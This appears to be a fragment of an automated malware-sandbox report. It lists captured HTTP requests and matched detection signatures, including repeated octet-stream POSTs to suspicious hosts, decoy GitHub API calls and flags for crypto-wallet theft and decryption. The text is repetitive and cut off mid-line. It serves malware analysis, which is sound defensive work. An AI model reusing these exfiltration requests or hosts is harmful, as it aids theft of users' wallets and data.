oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 35274User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 21155User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "auth" in header "GET /pylupdate6in HTTP/1.1Host: ootid.srv-auth-dlt-msh.in.netConnection: close" Contains base64 string in header "auth" in header "GET /was0do6si2in HTTP/1.1Host: ootid.srv-auth-dlt-msh.in.netConnection: close" Contains base64 string in header "v9tp34n2" in header "GET /celqop-v9tp34n2-2ao43do-hv2wxcv-piojaip/hpwia2drvrootwn8.html HTTP/1.1Host: ohn.stainedunstitch.workConnection: close" Contains base64 string in header "piojaip/hpwia2drvrootwn8" in header "GET /celqop-v9tp34n2-2ao43do-hv2wxcv-piojaip/hpwia2drvrootwn8.html HTTP/1.1Host: ohn.stainedunstitch.workConnection: close" Contains base64 string in header "html" in header "GET /celqop-v9tp34n2-2ao43do-hv2wxcv-piojaip/hpwia2drvrootwn8.html HTTP/1.1Host: ohn.stainedunstitch.workConnection: close" Contains base64 string in header "POST" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /i~ro@F2.ZZN HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 451726User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "GET /repos/facebookresearch/segment-anything/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6857" in header "GET /repos/facebookresearch/segment-anything/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2857" in header "GET /repos/facebookresearch/segment-anything/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /repos/facebookresearch/segment-anything/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /repos/facebookresearch/segment-anything/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /repos/facebookresearch/segment-anything/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /repos/vercel/next.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "6857" in header "GET /repos/vercel/next.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "2857" in header "GET /repos/vercel/next.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /repos/vercel/next.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /repos/vercel/next.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "like" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6857" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2857" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "typicode" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /posts/21?r=9041681 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /todos/170?v=4389383 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "6857" in header "GET /todos/170?v=4389383 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "2857" in header "GET /todos/170?v=4389383 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "typicode" in header "GET /todos/170?v=4389383 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /todos/170?v=4389383 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /todos/170?v=4389383 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "/repos/prometheus/prometheus/commits" in header "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "like" in header "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "6857" in header "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "2857" in header "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "like" in header "GET /repos/axios/axios/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "6857" in header "GET /repos/axios/axios/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "2857" in header "GET /repos/axios/axios/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /repos/axios/axios/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /repos/axios/axios/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate"2e:T612,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Detected XOR operators (encryption/decryption) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Able to access crypto wallet extension (string) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Found Crypto currency wallets related strings Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: The input file contains long Base64 encoded strings Matched sigs: YARA signature match – Encryption algorithm2f:T18da,Found string "api.github.com" (Indicator: "github.com"; File: "PCAP") file/memory contains long string with (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/vercel/next.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/prometheus/prometheus/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/axios/axios/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/elastic/elasticsearch/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/laravel/laravel?nocache=2516291 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/date-fns/date-fns/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/stylelint/stylelint/tags?v=4025571 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/expressjs/express/tags HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /users/torvalds/followers HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/parcel-bundler/parcel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/facebook/react/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/rust-lang/rust/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/Azure/azure-powershell/commits 